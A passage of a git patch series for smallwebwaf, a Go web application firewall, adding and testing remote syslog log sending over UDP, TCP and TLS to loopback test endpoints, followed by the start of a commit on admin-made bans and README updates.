"crypto/x509" + "crypto/x509/pkix" + "encoding/json" + "fmt" + "io" + "log/slog" + "math/big" + "net" + "net/url" + "os" + "slices" + "strconv" + "strings" + "sync" + "sync/atomic" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/remotelog" +) + +// The tests run in a synctest bubble, where the time package runs on a +// clock of the test's own, which starts at 2000-01-01T00:00:00Z: a wait +// lasts exactly as long as it should, however slowly the test process +// runs, and synctest.Wait returns once the sender has done all it can +// before time passes. The endpoint is a listener on the loopback address. +// A test reads from it only once the records are on their way, and checks +// the sender's counts first, since a goroutine of the bubble that waits on +// the network keeps that clock from moving on. For the same reason the +// endpoint that refuses connections, a tlsEndpoint, runs outside the +// bubble: a sender connecting over TLS waits on the endpoint's answer. + +const ( + // started is the time a record made as a test starts gives. + started = "2000-01-01T00:00:00.000Z" + appName = "fsn1app1/gitea" + // local0 is the number of the default facility, and local0Info the + // priority of its records. + local0 = 16 + local0Info = "<134>" + // loopback is where the endpoints listen. + loopback = "127.0.0.1:0" +) + +func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) + if err != nil { + t.Fatalf("listen: %v", err) + } + + t.Cleanup(func() { _ = endpoint.Close() }) + + sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) + + _, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n")) + + synctest.Wait() + wantCounts(t, sender, 2, 0, 0) + + for _, line := range []string{`{"type":"request"}`, `{"type":"process"}`} { + datagram := make([]byte, 1024) + + n, _, err := endpoint.ReadFrom(datagram) + if err != nil { + t.Fatalf("read: %v", err) + } + + want := record(t, local0Info, appName, line) + if string(datagram[:n]) != want { + t.Errorf("datagram %q, want %q", datagram[:n], want) + } + } + }) +} + +func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + endpoint := listen(t) + endpointParams := params(remotelog.SchemeTCP, endpoint.Addr()) + endpointParams.Facility = 19 // local3 + endpointParams.AppName = "gitea" + sender, _, _ := run(t, endpointParams) + + _, _ = sender.Write([]byte("first\nsecond\n")) + + synctest.Wait() + wantCounts(t, sender, 2, 0, 0) + + frames := bufio.NewReader(accept(t, endpoint)) + wantFrame(t, frames, record(t, "<158>", "gitea", "first")) + wantFrame(t, frames, record(t, "<158>", "gitea", "second")) + }) +} + +func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + certificate, roots := testCertificate(t) + endpoint := listen(t) + endpointParams := params(remotelog.SchemeTLS, endpoint.Addr()) + endpointParams.RootCAs = roots + endpointParams.Buffer = 3 + sender, _, _ := run(t, endpointParams) + + // The sender connects, and its TLS handshake waits for an answer + // the endpoint does not give yet. + conn := accept(t, endpoint) + + var stdout bytes.Buffer + + out := io.MultiWriter(&stdout, sender) + for i := range 5 { + _, _ = fmt.Fprintf(out, "line %d\n", i+1) + } + + if stdout.String() != "line 1\nline 2\nline 3\nline 4\nline 5\n" { + t.Errorf("stdout has %q", stdout.String()) + } + + wantCounts(t, sender, 0, 2, 3) + + // Once the endpoint answers, the three newest records are sent. + server := tls.Server(conn, &tls.Config{ + Certificates: []tls.Certificate{certificate}, + MinVersion: tls.VersionTLS12, + }) + + err := server.HandshakeContext(t.Context()) + if err != nil { + t.Fatalf("handshake: %v", err) + } + + synctest.Wait() + wantCounts(t, sender, 3, 2, 0) + + frames := bufio.NewReader(server) + for _, line := range []string{"line 3", "line 4", "line 5"} { + wantFrame(t, frames, record(t, local0Info, appName, line)) + } + }) +} + +func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) { + t.Parallel() + + certificate, roots := testCertificate(t) + endpoint := startTLSEndpoint(t, certificate) + + synctest.Test(t, func(t *testing.T) { + endpointParams := params(remotelog.SchemeTLS, endpoint.addr) + endpointParams.RootCAs = roots + sender, logged, _ := run(t, endpointParams) + + _, _ = sender.Write([]byte("one\n")) + + synctest.Wait() + wantCounts(t, sender, 1, 0, 0) + + conn := endpoint.next(t) + wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one")) + + // The endpoint goes away: it closes the connection, and refuses the + // next ones. The sender notices when a record fails, and tries to + // connect again a second later, then two seconds after that. + endpoint.refusing.Store(true) + + _ = conn.Close() + + writeUntilDropped(t, sender, 1) + sent := sender.Sent() + + _, _ = sender.Write([]byte("two\n")) + + time.Sleep(time.Second) + synctest.Wait() + + endpoint.refusing.Store(false) + + time.Sleep(2*time.Second - time.Nanosecond) + synctest.Wait() + wantCounts(t, sender, sent, 1, 1) + + // The endpoint is back, and the record waiting is sent. + time.Sleep(time.Nanosecond) + synctest.Wait() + wantCounts(t, sender, sent+1, 1, 0) + + conn = endpoint.next(t) + wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two")) + wantRetries(t, logged, "1s", "2s") + }) +} + +func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + endpoint := listen(t) + sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) + + // The endpoint closes each connection as soon as it takes it. The + // sender notices when a record fails, and connects again a second + // later, then two seconds after that, then four. + delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second} + for i, delay := range delays { + _ = accept(t, endpoint).Close() + + writeUntilDropped(t, sender, int64(i+1)) + wantConnectedAgainAfter(t, sender, delay) + } + + wantRetries(t, logged, "1s", "2s", "4s") + }) +} + +func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + endpoint := listen(t) + sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) + + _ = accept(t, endpoint).Close() + + writeUntilDropped(t, sender, 1) + wantConnectedAgainAfter(t, sender, time.Second) + + // A connection that fails just short of a minute after it was made + // leaves the delay growing. + conn := accept(t, endpoint) + + time.Sleep(time.Minute - time.Nanosecond) + + _ = conn.Close() + + writeUntilDropped(t, sender, 2) + wantConnectedAgainAfter(t, sender, 2*time.Second) + + // One that fails a minute after it was made starts it again from a + // second. + conn = accept(t, endpoint) + + time.Sleep(time.Minute) + + _ = conn.Close() + + writeUntilDropped(t, sender, 3) + wantConnectedAgainAfter(t, sender, time.Second) + wantRetries(t, logged, "1s", "2s", "1s") + }) +} + +func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) + if err != nil { + t.Fatalf("listen: %v", err) + } + + t.Cleanup(func() { _ = endpoint.Close() }) + + sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) + + // With its header, the first line's record is longer than the 65507 + // bytes a UDP datagram over IPv4 holds. It is dropped, nothing is + // logged, and the next line is sent at once. + _, _ = sender.Write([]byte(strings.Repeat("x", 65507) + "\nnext\n")) + + synctest.Wait() + wantCounts(t, sender, 1, 1, 0) + wantRetries(t, logged) + + datagram := make([]byte, 1024) + + n, _, err := endpoint.ReadFrom(datagram) + if err != nil { + t.Fatalf("read: %v", err) + } + + want := record(t, local0Info, appName, "next") + if string(datagram[:n]) != want { + t.Errorf("datagram %q, want %q", datagram[:n], want) + } + }) +} + +func TestRecordsWaitingAtTheStopAreSent(t *testing.T) { + t.Parallel() + + certificate, roots := testCertificate(t) + endpoint := startTLSEndpoint(t, certificate) + + synctest.Test(t, func(t *testing.T) { + // The endpoint refuses the sender's first connection: it fails to + // connect, and waits a second to try again. + endpoint.refusing.Store(true) + + endpointParams := params(remotelog.SchemeTLS, endpoint.addr) + endpointParams.RootCAs = roots + sender, logged, stop := run(t, endpointParams) + + synctest.Wait() + wantRetries(t, logged, "1s") + + _, _ = sender.Write([]byte("one\ntwo\n")) + + endpoint.refusing.Store(false) + + // Stopped before that second is over, it connects to send them. + stop() + wantCounts(t, sender, 2, 0, 0) + + frames := bufio.NewReader(endpoint.next(t)) + wantFrame(t, frames, record(t, local0Info, appName, "one")) + wantFrame(t, frames, record(t, local0Info, appName, "two")) + }) +} + +// output collects what the sender logs. +type output struct { + mu sync.Mutex + buf bytes.Buffer +} + +// Write adds lines the sender logs. +func (o *output) Write(p []byte) (int, error) { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.Write(p) +} + +// text returns everything logged so far. +func (o *output) text() string { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.String() +} + +// params returns the settings of a Sender for the endpoint at addr, in +// the form scheme names: room for ten lines, the default facility, and +// appName. +func params(scheme string, addr net.Addr) remotelog.Params { + return remotelog.Params{ + URL: &url.URL{Scheme: scheme, Host: addr.String()}, + Buffer: 10, + Facility: local0, + AppName: appName, + } +} + +// run runs a Sender with settings until the test ends or the function +// it returns is called, which waits for Run to return. It returns the +// Sender, and what it logs. +func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) { + t.Helper() + + sender := remotelog.New(settings) + logged := &output{} + ctx, cancel := context.WithCancel(t.Context()) + ran := make(chan struct{}) + + go func() { + sender.Run(ctx, slog.New(slog.NewJSONHandler(logged, nil))) + close(ran) + }() + + stop := func() { + cancel() + <-ran + } + t.Cleanup(stop) + + return sender, logged, stop +} + +// listen returns a TCP listener on the loopback address, closed when the +// test ends. +func listen(t *testing.T) net.Listener { + t.Helper() + + listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback) + if err != nil { + t.Fatalf("listen: %v", err) + } + + t.Cleanup(func() { _ = listener.Close() }) + + return listener +} + +// accept returns the next connection to listener, closed when the test +// ends. +func accept(t *testing.T, listener net.Listener) net.Conn { + t.Helper() + + conn, err := listener.Accept() + if err != nil { + t.Fatalf("accept: %v", err) + } + + t.Cleanup(func() { _ = conn.Close() }) + + return conn +} + +// tlsEndpoint is a syslog+tls endpoint on the loopback address, which a +// test starts outside its bubble. It keeps its listener until the test +// ends, and either takes each connection or refuses it. +type tlsEndpoint struct { + addr net.Addr + // refusing is set while the endpoint closes each connection before the + // TLS handshake, which fails the sender's attempt to connect. + refusing atomic.Bool + // conns are the connections it has taken, after the handshake. + conns chan net.Conn +} + +// startTLSEndpoint starts a tlsEndpoint with certificate, which takes +// connections until it is told to refuse them. +func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint { + t.Helper() + + listener := listen(t) + endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)} + config := &tls.Config{ + Certificates: []tls.Certificate{certificate}, + MinVersion: tls.VersionTLS12, + } + + go func() { + for { + conn, err := listener.Accept() + if err != nil { + return + } + + server := tls.Server(conn, config) + if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil { + _ = conn.Close() + + continue + } + + endpoint.conns <- server + } + }() + + return endpoint +} + +// next returns the next connection the endpoint has taken, closed when +// the test ends. +func (e *tlsEndpoint) next(t *testing.T) net.Conn { + t.Helper() + + conn := <-e.conns + + t.Cleanup(func() { _ = conn.Close() }) + + return conn +} + +// record returns the record of line made as the test started, with the +// priority and the app name given. +func record(t *testing.T, priority, app, line string) string { + t.Helper() + + hostname, err := os.Hostname() + if err != nil || hostname == "" { + hostname = "-" + } + + return priority + "1 " + started + " " + hostname + " " + app + " - - - " + line +} + +// wantFrame reads the next octet-counted frame from frames, and checks +// that it holds want. +func wantFrame(t *testing.T, frames *bufio.Reader, want string) { + t.Helper() + + count, err := frames.ReadString(' ') + if err != nil { + t.Fatalf("read a frame's length: %v", err) + } + + length, err := strconv.Atoi(strings.TrimSuffix(count, " ")) + if err != nil { + t.Fatalf("frame starts %q, not with its length", count) + } + + got := make([]byte, length) + + _, err = io.ReadFull(frames, got) + if err != nil { + t.Fatalf("read a frame: %v", err) + } + + if string(got) != want { + t.Errorf("frame %q, want %q", got, want) + } +} + +// wantCounts checks the records sender has sent, dropped and holds in +// its buffer. +func wantCounts( + t *testing.T, sender *remotelog.Sender, sent, dropped int64, depth int, +) { + t.Helper() + + if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth { + t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d", + sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth) + } +} + +// writeUntilDropped writes a line at a time until the count of records +// sender has dropped reaches dropped. The records it sends on a +// connection the endpoint has closed are lost before one fails; how many +// depends on when the endpoint's host answers that the connection is +// gone. +func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) { + t.Helper() + + for sender.Dropped() < dropped { + _, _ = sender.Write([]byte("lost\n")) + + synctest.Wait() + } +} + +// wantConnectedAgainAfter writes a line while the sender waits to connect +// again, and checks that it connects, and takes the line from the buffer, +// only once delay is over. +func wantConnectedAgainAfter( + t *testing.T, sender *remotelog.Sender, delay time.Duration, +) { + t.Helper() + + _, _ = sender.Write([]byte("waiting\n")) + + time.Sleep(delay - time.Nanosecond) + synctest.Wait() + + if sender.Depth() != 1 { + t.Fatalf("connected again before %v", delay) + } + + time.Sleep(time.Nanosecond) + synctest.Wait() + + if sender.Depth() != 0 { + t.Fatalf("not connected again after %v", delay) + } +} + +// wantRetries checks that the sender logged a failure, of an attempt to +// connect or of a connection, for each of delays, the time until the next +// attempt, in order, and logged nothing else. +func wantRetries(t *testing.T, logged *output, delays ...string) { + t.Helper() + + var got []string + + for line := range strings.Lines(logged.text()) { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" { + t.Fatalf("logged %q", line) + } + + delay, _ := fields["connecting_again_in"].(string) + got = append(got, delay) + } + + if !slices.Equal(got, delays) { + t.Errorf("logged failures to connect again in %v, want %v", got, delays) + } +} + +// testCertificate returns a certificate for 127.0.0.1 that is its own +// CA, and a pool that holds it. It is valid on the bubble's clock, which +// starts at 2000-01-01T00:00:00Z. +func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) { + t.Helper() + + key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + t.Fatalf("generate a key: %v", err) + } + + template := &x509.Certificate{ + SerialNumber: big.NewInt(1), + Subject: pkix.Name{CommonName: "smallwebwaf test CA"}, + NotBefore: time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC), + NotAfter: time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC), + IsCA: true, + BasicConstraintsValid: true, + KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, + } + + der, err := x509.CreateCertificate(rand.Reader, template, template, + &key.PublicKey, key) + if err != nil { + t.Fatalf("create a certificate: %v", err) + } + + certificate, err := x509.ParseCertificate(der) + if err != nil { + t.Fatalf("parse the certificate: %v", err) + } + + roots := x509.NewCertPool() + roots.AddCert(certificate) + + return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots +} diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 32e56ee..d39cf59 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -18,6 +18,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/state" @@ -28,6 +29,11 @@ import ( // runit and docker wait a little longer before they kill the process. const shutdownTimeout = 5 * time.Second +// remoteLogStopTimeout is how long, as smallwebwaf stops, the log lines +// still waiting are sent to SWWAF_LOG_REMOTE_URL before they are given +// up. stdout has carried them. +const remoteLogStopTimeout = 2 * time.Second + // Params are what Run needs from the process. type Params struct { // Version is the version of the binary, set when it is built. @@ -70,6 +76,21 @@ func Run(ctx context.Context, params Params) int { return 1 } + // While SWWAF_LOG_REMOTE_URL is set, every line on stdout from here on + // is sent there too. + stdout := params.Stdout + + var remote *remotelog.Sender + + if cfg.LogRemoteURL != nil { + remote = newRemoteLogSender(cfg) + stdout = io.MultiWriter(params.Stdout, remote) + processLog = requestlog.NewProcessLogger(stdout) + + stopSending := startSending(ctx, remote, processLog) + defer stopSending() + } + ruleFiles, err := rules.Load(rules.Params{ Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, @@ -86,12 +107,15 @@ func Run(ctx context.Context, params Params) int { server := proxy.New(proxy.Params{ Config: cfg, - RequestLog: params.Stdout, + RequestLog: stdout, ProcessLog: processLog, GeoJSURL: lookup.URL, Now: now, Rules: ruleFiles, }) + if remote != nil { + server.Metrics.AddRemoteLog(remote) + } files, err := state.Load(state.Params{ Dir: cfg.StateDir, @@ -126,6 +150,43 @@ func Run(ctx context.Context, params Params) int { return serve(ctx, server.Server, listener, files, ruleFiles, processLog) } +// newRemoteLogSender returns a sender of the log lines to +// SWWAF_LOG_REMOTE_URL, with the settings for it. +func newRemoteLogSender(cfg *config.Config) *remotelog.Sender { + return remotelog.New(remotelog.Params{ + URL: cfg.LogRemoteURL, + RootCAs: cfg.LogRemoteTLSCAs, + Buffer: cfg.LogRemoteBuffer, + Facility: cfg.LogRemoteFacility, + AppName: cfg.LogRemoteAppName, + }) +} + +// startSending runs remote until the function it returns is called, which +// then waits at most remoteLogStopTimeout for the lines still waiting to +// be sent. Sending goes on after ctx is done, so that the lines written +// while smallwebwaf stops are sent too. +func startSending( + ctx context.Context, remote *remotelog.Sender, processLog *slog.Logger, +) func() { + sending, stop := context.WithCancel(context.WithoutCancel(ctx)) + sent := make(chan struct{}) + + go func() { + remote.Run(sending, processLog) + close(sent) + }() + + return func() { + stop() + + select { + case <-sent: + case <-time.After(remoteLogStopTimeout): + } + } +} + // serve serves requests on listener, writes the state files as they are // due, takes in an admin's edits of them, and reads the rule files again // as they change, until ctx is done. Then it gives the requests in diff --git a/internal/smallwebwaf/smallwebwaf_internal_test.go b/internal/smallwebwaf/smallwebwaf_internal_test.go new file mode 100644 index 0000000..aea6bfe --- /dev/null +++ b/internal/smallwebwaf/smallwebwaf_internal_test.go @@ -0,0 +1,82 @@ +package smallwebwaf + +import ( + "log/slog" + "net/url" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/remotelog" +) + +// The stop's tests run in a synctest bubble, where the time package runs +// on a clock of the test's own, so that how long the stop takes can be +// told exactly. The sender is held up by its process log, not by the +// network: a goroutine of the bubble that waits on the network keeps that +// clock from moving on. + +func TestStopWaitsForTheSenderToFinish(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + took := stopHeldSender(t, time.Second) + if took != time.Second { + t.Errorf("the stop took %s, want the second the sender took", took) + } + }) +} + +func TestStopWaitsForTheSenderAtMostTwoSeconds(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + took := stopHeldSender(t, time.Minute) + if took != 2*time.Second { + t.Errorf("the stop took %s, want 2s", took) + } + }) +} + +// heldLog holds each line written to it until it is closed. +type heldLog chan struct{} + +// Write waits until the log is closed. +func (l heldLog) Write(p []byte) (int, error) { + <-l + + return len(p), nil +} + +// stopHeldSender starts sending to an endpoint the sender cannot connect +// to, holds the sender as it logs that failure until release has passed, +// stops the sending, and returns how long the stop took. It returns once +// the sender has ended, as a bubble must. +func stopHeldSender(t *testing.T, release time.Duration) time.Duration { + t.Helper() + + log := make(heldLog) + sender := remotelog.New(remotelog.Params{ + // No port is 65536, so each attempt to connect fails at once, + // before it reaches the network. + URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"}, + Buffer: 1, + }) + + stopSending := startSending(t.Context(), sender, + slog.New(slog.NewJSONHandler(log, nil))) + + synctest.Wait() + time.AfterFunc(release, func() { close(log) }) + + stopped := time.Now() + + stopSending() + + took := time.Since(stopped) + + time.Sleep(release) + synctest.Wait() + + return took +} diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index fa5be79..fa669d0 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -10,6 +10,8 @@ import ( "net/http/httptest" "os" "path/filepath" + "slices" + "strconv" "strings" "sync" "testing" @@ -385,6 +387,112 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { ": no such file or directory") } +func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { + t.Parallel() + + endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + defer func() { + _ = endpoint.Close() + }() + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + "SWWAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(), + } + + out := runUntilStopped(t, env, func(url string) { + wantGreeting(t, url) + }) + out.line(t, "type", "request") + + // smallwebwaf connected as it started, and closes the connection once + // it has sent the lines written as it stopped. + conn, err := endpoint.Accept() + if err != nil { + t.Fatalf("accept: %v", err) + } + + received, err := io.ReadAll(conn) + _ = conn.Close() + + if err != nil { + t.Fatalf("read: %v", err) + } + + // Lines written at once by several goroutines may reach stdout and + // the endpoint in different orders. + sent := messages(t, string(received)) + written := slices.Collect(strings.Lines(out.text())) + + slices.Sort(sent) + slices.Sort(written) + + if !slices.Equal(sent, written) { + t.Errorf("sent\n%v\nwrote\n%v", sent, written) + } +} + +func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { + t.Parallel() + + const token = "0123456789abcdef0123456789abcdef" + + // The endpoint takes connections and never answers, so the TLS + // handshake of each waits on it, and no line is ever sent. + endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + defer func() { + _ = endpoint.Close() + }() + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + "SWWAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(), + "SWWAF_LOG_REMOTE_BUFFER": "1", + "SWWAF_METRICS_TOKEN": token, + } + + out := runUntilStopped(t, env, func(url string) { + wantGreeting(t, url) + + // More than one line has been written, and the buffer holds the + // last. + metrics := metricsText(t, url+"_smallwebwaf/metrics", token) + for _, series := range []string{ + "smallwebwaf_remote_log_lines_sent_total 0", + "smallwebwaf_remote_log_buffer_depth 1", + } { + if !strings.Contains(metrics, "\n"+series+"\n") { + t.Errorf("no %q in the metrics:\n%s", series, metrics) + } + } + + if strings.Contains(metrics, "\nsmallwebwaf_remote_log_lines_dropped_total 0\n") || + !strings.Contains(metrics, "\nsmallwebwaf_remote_log_lines_dropped_total ") { + t.Errorf("no line dropped in the metrics:\n%s", metrics) + } + + // Closed, the endpoint refuses the connection made to send the + // lines still waiting at the stop, which then does not wait. + _ = endpoint.Close() + }) + + out.line(t, "type", "request") +} + func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { t.Parallel() @@ -581,6 +689,69 @@ func wantGreeting(t *testing.T, url string) { } } +// messages returns the message of each record in received, octet-counted +// frames of RFC 5424 records with the default facility and app name, each +// with the newline that ends a line on stdout. +func messages(t *testing.T, received string) []string { + t.Helper() + + hostname, _ := os.Hostname() + header := " " + hostname + " " + hostname + " - - - " + + var found []string + + for received != "" { + count, rest, _ := strings.Cut(received, " ") + + length, err := strconv.Atoi(count) + if err != nil || length > len(rest) { + t.Fatalf("no frame at %q", received) + } + + record := rest[:length] + received = rest[length:] + + _, message, ok := strings.Cut(record, header) + if !ok || !strings.HasPrefix(record, "<134>1 ") { + t.Fatalf("record %q, want priority <134> and header %q", record, header) + } + + found = append(found, message+"\n") + } + + return found +} + +// metricsText asks for the metrics at url with token, and returns them. +func metricsText(t *testing.T, url, token string) string { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url, + http.NoBody) + if err != nil { + t.Fatalf("new request: %v", err) + } + + req.Header.Set("Authorization", "Bearer "+token) + + transport := &http.Transport{} + defer transport.CloseIdleConnections() + + res, err := (&http.Client{Transport: transport}).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + body, err := io.ReadAll(res.Body) + _ = res.Body.Close() + + if err != nil || res.StatusCode != http.StatusOK { + t.Fatalf("metrics answered %d (%v)", res.StatusCode, err) + } + + return string(body) +} + // wantRefused checks that a request to url is refused with 403, the // default SWWAF_BAN_RESPONSE. func wantRefused(t *testing.T, url string) { From ee9ba08a8ac879c46b24a7f8e445f9ecdfbeaffc Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 23:09:52 +0200 Subject: [PATCH 28/64] Bans an admin makes or lifts: the admin cause, a reason, lifted bans kept (closes #86) A bans.json entry without a cause gets the cause admin, written back so. Bans whose cause is admin are never dropped and do not count toward SWWAF_MAX_BANS, so setting a ban's cause to admin keeps it. Bans smallwebwaf makes get a reason: the limit broken or the rule matched. A lifted ban refuses nothing, is kept, and makes no later ban longer. smallwebwaf_bans_made_total counts admin bans an edit adds while running; earlier_bans counts admin in place of without_cause. Judgement call: lifted lifts at once, whatever time it gives. Judgement call: a lifted ban still counts in earlier_bans. Known gap: a ban dropped from behind an admin's ban on its netblock leaves that netblock's later earlier_bans. Model: opus-5-5 --- README.md | 115 +++++++++------ internal/bans/admin_test.go | 186 ++++++++++++++++++++++++ internal/bans/bans.go | 242 +++++++++++++++++++++---------- internal/bans/snapshot_test.go | 28 +++- internal/metrics/metrics.go | 4 +- internal/proxy/bans_test.go | 1 + internal/proxy/metrics_test.go | 24 +++ internal/proxy/observe_test.go | 1 + internal/proxy/rulefiles_test.go | 1 + internal/state/state.go | 50 +++++-- internal/state/state_test.go | 178 ++++++++++++++++++++++- 11 files changed, 677 insertions(+), 153 deletions(-) create mode 100644 internal/bans/admin_test.go diff --git a/README.md b/README.md index 10d0206..a545085 100644 --- a/README.md +++ b/README.md @@ -13,29 +13,30 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are eight parts of -milestone 3: the static lists, the bans that broken rate limits lead to, the -JSON state files with your edits taken in while it runs and the paths the rate -limits do not count, which come next in the build order, `observe` mode and the -rest of the request log's fields, which come a little later, and the metrics -endpoint and the header size and the idle time as settings, which come last in -it. So are two parts of the stage after it: the rule files, the first part, with -the bans for a clear sign of attack, and remote log sending. `smallwebwaf` -passes each request to the app and the app's answer back, unchanged, within its -timeouts and size limits, works out each client's address, bans a client that -sends too many requests, not counting those for the paths you choose, refuses a -client that comes from a country you refuse or from a network you refuse, lets -the networks you choose through, checks each request against the rule files and -bans a client whose request is a clear sign of attack, keeps its bans, each -client's counters and history, and GeoJS's answers in JSON files across -restarts, takes in your edits of those files and of the rule files while it -runs, writes a JSON log line for every request, sends its log lines to a syslog -server too if you name one, serves Prometheus metrics to a scraper that holds -the metrics token, and in `observe` mode passes on the requests it would refuse, -logging what it would have done with them. It comes as the image the app's own -image is built on. The rest of the design comes after that, in the order of the -build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to -the design is in [`EVALUATION.md`](EVALUATION.md). +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are nine parts of +milestone 3: the static lists, the bans that broken rate limits lead to, the ban +ledger with the bans you make, keep and lift, the JSON state files with your +edits taken in while it runs and the paths the rate limits do not count, which +come next in the build order, `observe` mode and the rest of the request log's +fields, which come a little later, and the metrics endpoint and the header size +and the idle time as settings, which come last in it. So are two parts of the +stage after it: the rule files, the first part, with the bans for a clear sign +of attack, and remote log sending. `smallwebwaf` passes each request to the app +and the app's answer back, unchanged, within its timeouts and size limits, works +out each client's address, bans a client that sends too many requests, not +counting those for the paths you choose, refuses a client that comes from a +country you refuse or from a network you refuse, lets the networks you choose +through, checks each request against the rule files and bans a client whose +request is a clear sign of attack, keeps its bans, each client's counters and +history, and GeoJS's answers in JSON files across restarts, takes in your edits +of those files, such as a ban you make, keep or lift, and of the rule files +while it runs, writes a JSON log line for every request, sends its log lines to +a syslog server too if you name one, serves Prometheus metrics to a scraper that +holds the metrics token, and in `observe` mode passes on the requests it would +refuse, logging what it would have done with them. It comes as the image the +app's own image is built on. The rest of the design comes after that, in the +order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools +that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -111,11 +112,13 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of window and the requests counted in it, the request that broke it, the client's country when it was looked up, the netblock's requests since it was first seen, how many of them the ban has refused, and how many bans the netblock had - before, for a broken limit, for a clear sign of attack and without a cause. At - most `SWWAF_MAX_BANS` bans are kept, past, active and permanent; past that, - the earliest ban of the netblock that has gone longest without a request is - dropped first. `bans.json` shows the bans and their notes, a restart lifts - none, and you add or lift a ban by editing it (see "State files" below). + before, for a broken limit, for a clear sign of attack and by an admin. At + most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and + permanent; past that, the earliest such ban of the netblock that has gone + longest without a request is dropped first. The bans whose cause is `admin`, + those you 